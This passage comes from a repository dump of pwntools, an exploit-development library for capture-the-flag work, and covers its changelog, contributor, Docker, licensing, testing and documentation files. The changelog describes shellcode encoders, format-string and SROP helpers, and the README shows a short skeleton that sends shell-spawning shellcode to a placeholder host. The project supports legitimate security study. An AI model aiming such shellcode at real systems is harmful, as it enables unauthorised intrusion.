`context.log_file` setting for sending logs to a file.  This can be set with the `LOG_FILE` magic command-line option.\n- Added `context.noptrace` setting for disabling actions which require `ptrace` support.  This is useful for turning all `gdb.debug` and `gdb.attach` options into no-ops, and can be set via the `NOPTRACE` magic command-line option.\n- Added `context.proxy` which hooks all connections and sends them to a SOCKS4/SOCKS5.  This can be set via the `PROXY` magic command-line option.\n- Added `context.randomize` to control randomization of settings like XOR keys and register ordering (default off).\n- Added `context.terminal` for setting how to launch commands in a new terminal.\n\n#### DynELF and MemLeak Module\n\n- Added a `DynELF().libc` property which attempt to find the remote libc and download the ELF from LibcDB.\n- Added a `DynELF().stack` property which leaks the `__environ` pointer from libc, making it easy to leak stack addresses.\n- Added `MemLeak.String` and `MemLeak.NoNewlines` and other related helpers for handling special leakers which cannot e.g. handle newlines in the leaked addresses and which leak a C string (e.g. auto-append a `'\\x00'`).\n- Enhancements for leaking speed via `MemLeak.compare` to avoid leaking an entire field if we can tell from a partial leak that it does not match what we are searching for.\n\n#### Encoders Module\n\n- Added a `pwnlib.encoders` module for assembled-shellcode encoders/decoders\n- Includes position-independent basic XOR encoders\n- Includes position-independent delta encoders\n- Includes non-position-independent alphanumeric encoders for Intel\n- Includes position-independent alphanumeric encoders for ARM/Thumb\n\n#### ELF Module\n\n- Added a `Core` object which can parse core-files, in order to extract / search for memory contents, and extract register states (e.g. `Core('./corefile').eax`).\n\n#### Format Strings\n\n- Added a basic `fmtstr` module for assisting with Format String exploitation\n\n#### GDB Module\n\n- Added support for debugging Android devices when `context.os=='android'`\n- Added helpers for debugging shellcode snippets with `gdb.debug_assembly()` and `gdb.debug_shellcode()`\n\n#### ROP Module\n\n- Added support for SigReturn via `pwnlib.rop.srop`\n    + Occurs automatically when syscalls are invoked and a function cannot be found\n    + SigReturn frames can be constructed manually with `SigreturnFrame()` objects\n- Added functional doctests for ROP and SROP\n\n#### Tubes Process Module\n\n- `process()` has many new options, check out the documentation\n    + `aslr` controls ASLR\n    + `setuid` can disable the effect of setuid, allowing core dumps (useful for extracting crash state via the new `Core()` object)\n    + TTY echo and control characters can be enabled via `raw` argument\n- `stdout` and `stderr` are now PTYs by default\n    + `stdin` can be set to a PTY also via setting `stdin=process.PTY`\n\n#### Tubes SSH Module\n\n- Massive enhancements all over\n- `ssh` objects now have a `ssh.process()` method which avoids the need to handle shell expansion via the old `ssh.run()` method\n- Files are downloaded via SFTP if available\n- New `download` and `upload` methods auto-detect whether the target is a file or directory and acts accordingly\n- Added `listen()` method alias for `listen_remote()`\n- Added `remote()` method alias for `connect_remote()`\n\n#### Utilities\n\n- Added `fit()` method to combine the functionality of `flat()` with the functionality of `cyclic()`\n- Added `negative()` method to negate the value of an integer via two's complement, with respect to the current integer size (`context.bytes`).\n- Added `xor_key()` method to generate an XOR key which avoids undesirable bytes over a given input.\n- Added a multi-threaded `bruteforce()` implementation, `mbruteforce()`.\n- Added `dealarm_shell()` helper to remove the effects of `alarm()` after you've popped a shell.\n\n## 2.2.0\n\nThis was a large release with a lot of bugfixes and changes. Only the most significant\nare mentioned here.\n\n- Added shellcodes\n- Added phd\n- Re-added our expansion of itertools\n- Added replacements for some semi-broken python standard library modules\n- Re-implemented the rop module\n- Added a serial tube\n- Huge performance gains in the buffering for tubes\n- Re-added user agents\n- Begun using Travis CI with lots of test\n- Removed bundled binutils in favor of documenting how to build them yourselves\n- Added support for port forwarding though our SSH module\n- Added dependency for capstone and ropgadget\n- Added a lots of shellcodes\n- Stuff we forgot\n- Lots of documentation fixes\n- Lots of bugfixes\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing\n\nGithub has a great guide for contributing to open source projects:\n\n- [Contributing to a project](https://guides.github.com/activities/forking/)\n- [Fork the repository](https://guides.github.com/activities/forking/#fork)\n- [Clone your fork](https://guides.github.com/activities/forking/#clone)\n- [Making and pushing changes](https://guides.github.com/activities/forking/#making-changes)\n- [Making a Pull Request](https://guides.github.com/activities/forking/#making-a-pull-request)\n- [Huzzah!](https://guides.github.com/activities/forking/#huzzah)\n\n## pwntools Specifics\n\nIn general, we like to keep things documented.  You should add documentation to any new functionality, and update it for any changed functionality.  Our docstrings use the [Google Style Python Docstrings](https://sphinxcontrib-napoleon.readthedocs.org/en/latest/example_google.html#example-google).\n\nAfter you have documentation, you should add a [doctest](https://docs.python.org/2/library/doctest.html).\n\nFinally, it is probably a good idea to run the test suite locally before doing\nthe pull-request to make sure everything works, however this is not a\nrequirement.\n\nOnce you are ready to do a pull-request, you should figure out if your changes\nconstitutes a new feature or a bugfix in stable or beta. If it is a bugfix in\nstable or beta, you should do the pull-request against the branch in question,\nand otherwise your pull-request should be against the dev branch.\n\nOnce you do the pull-request Travis CI will run the test-suite on it. Once it\npasses one of the core developers will look at your pull request, possibly\ncomment on it and then hopefully merge it into the branch in question.\n\n## Automated Testing\n\nPull requests against Pwntools require at a minimum that no tests have been broken, and ideally each pull request will include new tests to ensure that all of the functionality works as intended.\n\nYou can find more information on testing in [TESTING.md](TESTING.md).\n"
  },
  {
    "path": "DOCKER.md",
    "content": "# Using Pwntools with Docker\n\nSometimes it's annoying to set up Pwntools on your workstation, and you want something that Just Works (TM).\n\n[Docker](https://www.docker.com/) is here to the rescue! Using Docker means that you get a nice, standardized Linux environment and don't need to worry about pip or installing dependencies.\n\n## Quick Start\n\nFirst, install Docker for your OS, which you can find on their [Getting Started](https://www.docker.com/get-started) page.\n\nNext, download and run the Pwntools stable docker image.\n\n```sh\n$ docker run -it pwntools/pwntools:stable\n```\n\n## Recommended Settings\n\nIn order to get the most from your docker image, we need to enable debugging of processes (`--privileged`) and expose the network ports from the guest to the host (`--net=host`).\n\n```sh\n$ docker run -it \\\n    --privileged \\\n    --net=host \\\n    --hostname localhost \\\n    --ulimit core=-1:-1 \\\n    pwntools/pwntools:stable\n```\n\n## Sharing a Folder\n\nIt's really nice to be able to use your preferred native editor, and have the changes show up live inside your Docker image.  This is easy to add, thanks to Docker's bind mounts (`--mount type=bind`).  \n\nWith the command below, your `~/exploits` directory will magically show up inside the Docker image at `/home/pwntools/exploits` so that you can easily run them (from Docker) and edit them (from outside Docker).\n\n```sh\n$ mkdir $HOME/exploits\n\n$ vim $HOME/exploits/my_exploit.py\n\n$ docker run -it \\\n    --privileged \\\n    --net=host \\\n    --hostname localhost \\\n    --ulimit core=-1:-1 \\\n    --mount type=bind,source=\"$HOME/exploits\",target=/home/pwntools/exploits \\\n    pwntools/pwntools:stable\n    \n$ python3 exploits/my_exploit.py\n```\n\n### Windows User Bind Mounts\n\nIf you're a Windows user `$HOME` doesn't exist in the same way as on Linux, instead it is `%UserProfile%`.  The command from above would look like this, assuming your editor is Visual Studio Code and you have code.exe in your `%PATH%`.\n\n```sh\nC:\\Users\\user> mkdir Desktop\\exploits\n\nC:\\Users\\user> code Desktop\\exploits\\my_exploit.py\n\nC:\\Users\\user> docker run -it \\\n    --privileged \\\n    --net=host \\\n    --hostname localhost \\\n    --ulimit core=-1:-1 \\\n    --mount type=bind,source=\"%UserProfile%\\Desktop\\exploits\",target=/home/pwntools/exploits \\\n    pwntools/pwntools:stable\n    \n$ python3 exploits/my_exploit.py\n\n```\n\n\n\n\n\n"
  },
  {
    "path": "LICENSE-pwntools.txt",
    "content": "TL;DR version:\n   Everything in pwntools is open source. Most is under an MIT license, but a\n   few pieces are under GPL or a BSD 2-clause licence.\n\nThis license covers everything within this project, except for a few pieces\nof code that we either did not write ourselves or which we derived from code\nthat we did not write ourselves. These few pieces have their license specified\nin a header, or by a file called LICENSE.txt, which will explain exactly what\nit covers. The few relevant pieces of code are all contained inside these\ndirectories:\n\n- pwnlib/constants/\n- pwnlib/data/\n\n\nCopyright (c) 2015 Gallopsled et al.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n"
  },
  {
    "path": "MANIFEST.in",
    "content": "graft build\ngraft examples\ngraft extra\ngraft travis\ninclude *.md *.txt *.sh *.yml MANIFEST.in\nrecursive-include docs   *.rst *.png Makefile *.py *.txt\nrecursive-include pwnlib *.py *.asm *.rst *.md *.txt *.sh __doc__ *.mako\nrecursive-include pwn    *.py *.asm *.rst *.md *.txt *.sh\nglobal-exclude *.pyc\n"
  },
  {
    "path": "README.md",
    "content": "# pwntools - CTF toolkit\n![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true)\n\n[![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/)\n[![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)\n[![GitHub Workflow Status (dev)](https://img.shields.io/github/actions/workflow/status/Gallopsled/pwntools/ci.yml?branch=dev&logo=GitHub)](https://github.com/Gallopsled/pwntools/actions/workflows/ci.yml?query=branch%3Adev)\n[![Coveralls](https://img.shields.io/coveralls/github/Gallopsled/pwntools/dev?logo=coveralls)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)\n[![MIT License](https://img.shields.io/badge/license-MIT-blue.svg?style=flat)](http://choosealicense.com/licenses/mit/)\n[![Packaging status](https://img.shields.io/repology/repositories/python:pwntools)](https://repology.org/project/python:pwntools/versions)\n[![Discord](https://img.shields.io/discord/809590285687980052?label=Discord&style=plastic)](https://discord.gg/96VA2zvjCB)\n[![Twitter](https://img.shields.io/twitter/follow/Pwntools)](https://twitter.com/pwntools)\n\nPwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.\n\n```python\nfrom pwn import *\ncontext(arch = 'i386', os = 'linux')\n\nr = remote('exploitme.example.com', 31337)\n# EXPLOIT CODE GOES HERE\nr.send(asm(shellcraft.sh()))\nr.interactive()\n```\n\n# Documentation\n\nOur documentation is available at [docs.pwntools.com](https://docs.pwntools.com/)\n\nA series of tutorials is also [available online](https://github.com/Gallopsled/pwntools-tutorial#readme)\n\nTo get you started, we've provided some example solutions for past CTF challenges in our [write-ups repository](https://github.com/Gallopsled/pwntools-write-ups).\n\n# Installation\n\nPwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  \n\nPwntools supports Python 3.10+ since version 5.0.0.  Use Pwntools 4.x for older versions as well as Python 2.7. Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with\n\n```sh\nsudo apt-get update\nsudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential\npython3 -m pip install --upgrade pip\npython3 -m pip install --upgrade pwntools\n```\n\n\nHowever, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies.  For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).\n\n\n# Contribution\n\nSee [CONTRIBUTING.md](CONTRIBUTING.md)\n\n# Contact and Community\nIf you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), join the Discord server at https://discord.gg/96VA2zvjCB\n"
  },
  {
    "path": "SECURITY.md",
    "content": "# Security Policy\n\n## Supported Versions\n\n| Version       | Supported          |\n| ------------- | ------------------ |\n| latest dev    | :white_check_mark: |\n| latest beta   | :white_check_mark: |\n| latest stable | :white_check_mark: |\n| anything else | :x: |\n\n## Reporting a Vulnerability\n\nThe aim of pwntools is exploiting software vulnerabilities, which is an unusual position, but it nevertheless can have its own security issues.\nEspecially that an attacker (=re-victim) is usually not prepared to be attacked back (by the re-attacker).\n\nThe first question to ask yourself is: is this an actual vulnerability?\n- can it be triggered by a re-attacker (malicious honeypot pretending to be a vulnerable service)?\n- does it impact the attacker (=re-victim)?\n- is it serious?\n  * *availability: medium* means *at least* exhausting RAM or disk space of the attacker (=re-victim)\n  * *confidentiality: medium* means *at least* reading the filesystem of the attacker (=re-victim)\n  * *integrity: medium* means *at least* performing uncontrolled actions or data corruption on behalf of the attacker (=re-victim)\n  * if crucial for some sophisticated exploit chain, it is always serious\n  * `safe_eval` bypasses **are** serious.\n  * an example of what was **kind of** serious: [#1732](https://github.com/Gallopsled/pwntools/pull/1732)\n- can it be fixed without compromising on Pwntools' usability?\n\nIf at least one of the answers is no, then this is NOT a vulnerability, so just file a bug report or feature request, without the weird confidential disclosure dance.\n\nJust e-mail the maintainers.  Arusekk is the one that is currently the most excited to fix vulnerabilities.\nOr create a CTF task!  Prove a point the good old hacker way!\n"
  },
  {
    "path": "TESTING.md",
    "content": "# Testing\n\nPwntools makes extensive use of unit tests and integration tests to ensure everything is in working order, and no regressions occur.\n\n## Test Suite\n\nTo run the test suite, it is best to use Ubuntu 22.04 or 24.04, and run the following commands.  **Be aware** that this will add a user to the machine, and create a public key for SSH login!\n\n```sh\nbash travis/install.sh\nbash travis/ssh_setup.sh\npip install --upgrade --editable .\nPWNLIB_NOTERM=1 make -C docs doctest\n```\n\n## Testing in Docker\n\nA `Dockerfile` has been provided which has a clean testing environment with Ubuntu Jammy.  It is very similar to the online Github Actions CI testing environment, but uses a more modern version of Ubuntu.\n\nSee `travis/docker/README.md` for more information.\n\n## New Tests\n\nTo add a new test to an existing module, just add an inline doctest.  If the test needs access to an external module, add the import statement to the `testsetup` block in the corresponding file in `docs/source/<module>.rst`.\n\nTo add an entirely new module, create a new `module.rst` and add it to the list in `index.rst`.  The best way to see if your tests are actually being run is to add an intentionally-failing test like:\n\n```py\n>>> assert False\n```\n\n## Example Test Module\n\nThe module `pwnlib.testexample` exists to demonstrate how everything is tied together.  The only files which were modified to add this example module and run its tests automatically are:\n\n- `pwnlib/testexample.py`\n- `docs/source/testexample.rst`\n- `docs/source/index.rst`\n\n## Shellcode and ROP\n\nThese are both less easy to test, as they require actually executing code, or loading real binaries.  In order to make the process simpler, the `runner` library was created to wrap common tasks.  For an example of testing shellcode with these helpers, see [exit.asm](pwnlib/shellcraft/templates/i386/linux/exit.asm).\n\nAdditionally, for loading ELF files on-the-fly, the helpers `ELF.from_bytes` and `ELF.from_assembly` are available.\n"
  },
  {
    "path": "docs/.gitignore",
    "content": "build\nrobots.txt\n"
  },
  {
    "path": "docs/Makefile",
    "content": "# Makefile for Sphinx documentation\n#\n\n# You can set these variables from the command line.\nSPHINXOPTS    =\nSPHINXBUILD   = sphinx-build\nPAPER         =\nBUILDDIR      = build\nTAR           = tar\n\n# Internal variables.\nPAPEROPT_a4     = -D latex_paper_size=a4\nPAPEROPT_letter = -D latex_paper_size=letter\nALLSPHINXOPTS   = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source\n# the i18n builder cannot share the environment and doctrees with the others\nI18NSPHINXOPTS  = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source\n\n\n.PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext dash\n\nhelp:\n\t@echo \"Please use \\`make <target>' where <target> is one of\"\n\t@echo \"  html       to make standalone HTML files\"\n\t@echo \"  dirhtml    to make HTML files named index.html in directories\"\n\t@echo \"  singlehtml to make a single large HTML file\"\n\t@echo \"  pickle     to make pickle files\"\n\t@echo \"  json       to make JSON files\"\n\t@echo \"  htmlhelp   to make HTML files and a HTML help project\"\n\t@echo \"  qthelp     to make HTML files and a qthelp project\"\n\t@echo \"  devhelp    to make HTML files and a Devhelp project\"\n\t@echo \"  epub       to make an epub\"\n\t@echo \"  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter\"\n\t@echo \"  latexpdf   to make LaTeX files and run them through pdflatex\"\n\t@echo \"  text       to make text files\"\n\t@echo \"  man        to make manual pages\"\n\t@echo \"  texinfo    to make Texinfo files\"\n\t@echo \"  info       to make Texinfo files and run them through makeinfo\"\n\t@echo \"  gettext    to make PO message catalogs\"\n\t@echo \"  dash       to make a Dash docset\"\n\t@echo \"  changes    to make an overview of all changed/added/deprecated items\"\n\t@echo \"  linkcheck  to check all external links for integrity\"\n\t@echo \"  doctest    to run all doctests embedded in the documentation (if enabled)\"\n\nclean:\n\t-rm -rf $(BUILDDIR)/*\n\t-rm -rf /tmp/user/pwn*\n\t-rm -rf $(HOME)/.cache/.pwntools-cache\n\t-rm -rf /tmp/pwn* 2>/dev/null || true\n\t-rm -rf build\n\nhtml:\n\t$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html\n\t@echo\n\t@echo \"Build finished. The HTML pages are in $(BUILDDIR)/html.\"\n\ndirhtml:\n\t$(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml\n\t@echo\n\t@echo \"Build finished. The HTML pages are in $(BUILDDIR)/dirhtml.\"\n\nsinglehtml:\n\t$(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml\n\t@echo\n\t@echo \"Build finished. The HTML page is in $(BUILDDIR)/singlehtml.\"\n\npickle:\n\t$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle\n\t@echo\n\t@echo \"Build finished; now you can process the pickle files.\"\n\njson:\n\t$(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json\n\t@echo\n\t@echo \"Build finished; now you can process the JSON files.\"\n\nhtmlhelp:\n\t$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp\n\t@echo\n\t@echo \"Build finished; now you can run HTML Help Workshop with the\" \\\n\t      \".hhp project file in $(BUILDDIR)/htmlhelp.\"\n\nqthelp:\n\t$(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp\n\t@echo\n\t@echo \"Build finished; now you can run \"qcollectiongenerator\" with the\" \\\n\t      \".qhcp project file in $(BUILDDIR)/qthelp, like this:\"\n\t@echo \"# qcollectiongenerator $(BUILDDIR)/qthelp/pwntools.qhcp\"\n\t@echo \"To view the help file:\"\n\t@echo \"# assistant -collectionFile $(BUILDDIR)/qthelp/pwntools.qhc\"\n\ndevhelp:\n\t$(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp\n\t@echo\n\t@echo \"Build finished.\"\n\t@echo \"To view the help file:\"\n\t@echo \"# mkdir -p $$HOME/.local/share/devhelp/pwntools\"\n\t@echo \"# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/pwntools\"\n\t@echo \"# devhelp\"\n\nepub:\n\t$(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub\n\t@echo\n\t@echo \"Build finished. The epub file is in $(BUILDDIR)/epub.\"\n\nlatex:\n\t$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex\n\t@echo\n\t@echo \"Build finished; the LaTeX files are in $(BUILDDIR)/latex.\"\n\t@echo \"Run \\`make' in that directory to run these through (pdf)latex\" \\\n\t      \"(use \\`make latexpdf' here to do that automatically).\"\n\nlatexpdf:\n\t$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex\n\t@echo \"Running LaTeX files through pdflatex...\"\n\t$(MAKE) -C $(BUILDDIR)/latex all-pdf\n\t@echo \"pdflatex finished; the PDF files are in $(BUILDDIR)/latex.\"\n\ntext:\n\t$(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text\n\t@echo\n\t@echo \"Build finished. The text files are in $(BUILDDIR)/text.\"\n\nman:\n\t$(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man\n\t@echo\n\t@echo \"Build finished. The manual pages are in $(BUILDDIR)/man.\"\n\ntexinfo:\n\t$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo\n\t@echo\n\t@echo \"Build finished. The Texinfo files are in $(BUILDDIR)/texinfo.\"\n\t@echo \"Run \\`make' in that directory to run these through makeinfo\" \\\n\t      \"(use \\`make info' here to do that automatically).\"\n\ninfo:\n\t$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo\n\t@echo \"Running Texinfo files through makeinfo...\"\n\tmake -C $(BUILDDIR)/texinfo info\n\t@echo \"makeinfo finished; the Info files are in $(BUILDDIR)/texinfo.\"\n\ngettext:\n\t$(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale\n\t@echo\n\t@echo \"Build finished. The message catalogs are in $(BUILDDIR)/locale.\"\n\ndash:\n\t$(SPHINXBUILD) -b html -d $(BUILDDIR)/doctrees -t dash source $(BUILDDIR)/html\n\tdoc2dash $(BUILDDIR)/html -d $(BUILDDIR)/dash -n pwntools -f -I index.html\n\t@echo \"Build finished. The Dash docset is in $(BUILDDIR)/dash.\"\n\nchanges:\n\t$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes\n\t@echo\n\t@echo \"The overview file is in $(BUILDDIR)/changes.\"\n\nlinkcheck:\n\t$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck\n\t@echo\n\t@echo \"Link check complete; look for any errors in the above output \" \\\n\t      \"or in $(BUILDDIR)/linkcheck/output.txt.\"\n\ndoctest:\n\t$(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest\n\t@echo \"Testing of doctests in the sources finished, look at the \" \\\n\t      \"results in $(BUILDDIR)/doctest/output.txt.\"\n"
  },
  {
    "path": "docs/requirements.txt",
    "content": "capstone\ncoverage[toml]\npython-dateutil\ndoc2dash\ndocutils>=0.18\nintervaltree\nisort\nmako>=1.0.0\nparamiko>=1.15.2\npyelftools>=0.32\npygments>=2.0\npypandoc\npyserial>=2.7\npysocks\npsutil\nrequests>=2.5.1\nropgadget>=5.3\nsphinx>=8.1.3, <9\nsphinx_rtd_theme\nsphinxcontrib-autoprogram<=0.1.5\n"
  },
  {
    "path": "docs/source/about.rst",
    "content": "About pwntools\n========================\n\nWhether you're using it to write exploits, or as part\nof another software project will dictate how you use it.\n\nHistorically pwntools was used as a sort of exploit-writing DSL. Simply doing\n``from pwn import *`` in a previous version of pwntools would bring all sorts of\nnice side-effects.\n\nWhen redesigning pwntools for 2.0, we noticed two contrary goals:\n\n* We would like to have a \"normal\" python module structure, to allow other\n  people to familiarize themselves with pwntools quickly.\n* We would like to have even more side-effects, especially by putting the\n  terminal in raw-mode.\n\nTo make this possible, we decided to have two different modules. :mod:`pwnlib`\nwould be our nice, clean Python module, while :mod:`pwn` would be used during\nCTFs.\n\n:mod:`pwn` --- Toolbox optimized for CTFs\n-----------------------------------------\n\n.. module:: pwn\n\nAs stated, we would also like to have the ability to get a lot of these\nside-effects by default. That is the purpose of this module. It does\nthe following:\n\n* Imports everything from the toplevel :mod:`pwnlib` along with\n  functions from a lot of submodules. This means that if you do\n  ``import pwn`` or ``from pwn import *``, you will have access to\n  everything you need to write an exploit.\n* Calls :func:`pwnlib.term.init` to put your terminal in raw mode\n  and implements functionality to make it appear like it isn't.\n* Setting the :data:`pwnlib.context.log_level` to `\"info\"`.\n* Tries to parse some of the values in :data:`sys.argv` and every\n  value it succeeds in parsing it removes.\n\n:mod:`pwnlib` --- Normal python library\n---------------------------------------\n\n.. module:: pwnlib\n\nThis module is our \"clean\" python-code. As a rule, we do not think that\nimporting :mod:`pwnlib` or any of the submodules should have any significant\nside-effects (besides e.g. caching).\n\nFor the most part, you will also only get the bits you import. You for instance would\nnot get access to :mod:`pwnlib.util.packing` simply by doing ``import\npwnlib.util``.\n\nThough there are a few exceptions (such as :mod:`pwnlib.shellcraft`), that does\nnot quite fit the goals of being simple and clean, but they can still be\nimported without implicit side-effects.\n"
  },
  {
    "path": "docs/source/adb.rst",
    "content": ".. testsetup:: *\n\n   from pprint import pprint\n   from pwn import *\n   adb = pwnlib.adb\n\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']\n\n:mod:`pwnlib.adb` --- Android Debug Bridge\n=====================================================\n\n.. automodule:: pwnlib.adb.adb\n   :members:\n\n.. automodule:: pwnlib.adb.protocol\n   :members:\n"
  },
  {
    "path": "docs/source/args.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n\n:mod:`pwnlib.args` --- Magic Command-Line Arguments\n=====================================================\n\n.. automodule:: pwnlib.args\n   :members:\n"
  },
  {
    "path": "docs/source/asm.rst",
    "content": ".. testsetup:: *\n\n   import tempfile\n   import subprocess\n   from pwn import *\n\n   # TODO: Remove global POSIX flag\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n\n:mod:`pwnlib.asm` --- Assembler functions\n=========================================\n\n.. automodule:: pwnlib.asm\n   :members:\n\nInternal Functions\n-----------------------------------------\n\nThese are only included so that their tests are run.\n\nYou should never need these.\n\n.. autofunction:: pwnlib.asm.dpkg_search_for_binutils\n.. autofunction:: pwnlib.asm.print_binutils_instructions\n"
  },
  {
    "path": "docs/source/atexception.rst",
    "content": ":mod:`pwnlib.atexception` --- Callbacks on unhandled exception\n==============================================================\n\n.. automodule:: pwnlib.atexception\n   :members:\n"
  },
  {
    "path": "docs/source/atexit.rst",
    "content": ":mod:`pwnlib.atexit` --- Replacement for atexit\n===============================================\n\n.. automodule:: pwnlib.atexit\n   :members:\n"
  },
  {
    "path": "docs/source/commandline.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   old = context.defaults.copy()\n\n.. testcleanup:: *\n\n    context.defaults.copy = old\n\nCommand Line Tools\n========================\n\npwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.\n\nIf these tools do not appear to be installed, make sure that you have added ``~/.local/bin`` to your ``$PATH`` environment variable.\n\n.. toctree::\n\n.. autoprogram:: pwnlib.commandline.main:parser\n   :prog: pwn\n"
  },
  {
    "path": "docs/source/conf.py",
    "content": "# pwntools documentation build configuration file, created by\n# sphinx-quickstart on Wed May 28 15:00:52 2014.\n#\n# This file is execfile()d with the current directory set to its containing dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\nimport os\nimport doctest\nimport signal\nimport subprocess\nimport sys\nfrom datetime import datetime, timezone\n\nbuild_dash = tags.has('dash')\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\nsys.path.insert(0, os.path.abspath('../..'))\n\nimport pwnlib.update\npwnlib.update.disabled = True\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be extensions\n# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.\nextensions = [\n    'pwnlib.internal.dochelper',\n    'sphinx.ext.autodoc',\n    'sphinx.ext.doctest',\n    'sphinx.ext.linkcode',\n    'sphinx.ext.autosummary',\n    'sphinx.ext.coverage',\n    'sphinx.ext.todo',\n    'sphinx.ext.intersphinx',\n    'sphinx.ext.napoleon',\n    'sphinxcontrib.autoprogram',\n]\n\n# Disable \"info\" logging directly to stdout by Sphinx\nimport logging\n\nclass SphinxPwnlibFilter(logging.Filter):\n    def filter(self, record):\n        if record.name.startswith('pwn'):\n            return False\n        if record.name.startswith('paramiko'):\n            return False\n        return True\n\nlog_filter = SphinxPwnlibFilter()\n\nfor i, handler in enumerate(logging.root.handlers):\n    print(\"Filtering Sphinx handler\", handler)\n    handler.addFilter(log_filter)\n\n# Napoleon settings\nnapoleon_use_ivar = True\nnapoleon_use_rtype = False\n\ndoctest_global_setup = '''\nimport sys, os\nos.environ['PWNLIB_NOTERM'] = '1'\nos.environ['PWNLIB_RANDOMIZE'] = '0'\nimport pwnlib.update\nimport pwnlib.util.fiddling\nimport logging\npwnlib.update.disabled = True\npwnlib.context.context.reset_local()\npwnlib.context.ContextType.defaults['log_level'] = logging.ERROR\npwnlib.context.ContextType.defaults['randomize'] = False\n# pwnlib.context.ContextType.defaults['terminal'] = ['sh', '-c']\npwnlib.util.fiddling.default_style = {}\npwnlib.term.text.when = 'never'\npwnlib.log.install_default_handler()\npwnlib.log.rootlogger.setLevel(1)\n\n# Sphinx modifies sys.stdout, and context.log_terminal has\n# a reference to the original instance.  We need to update\n# it for logging to be captured.\nclass stdout(object):\n    def __getattr__(self, name):\n        return getattr(sys.stdout, name)\n    def __setattr__(self, name, value):\n        return setattr(sys.stdout, name, value)\npwnlib.context.ContextType.defaults['log_console'] = stdout()\n\ngithub_actions = os.environ.get('USER') == 'runner'\ntravis_ci = os.environ.get('USER') == 'travis'\nlocal_doctest = os.environ.get('USER') == 'pwntools'\nskip_android = True\n'''\n\nautoclass_content = 'both'\nautodoc_member_order = 'groupwise' # 'alphabetical'\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = 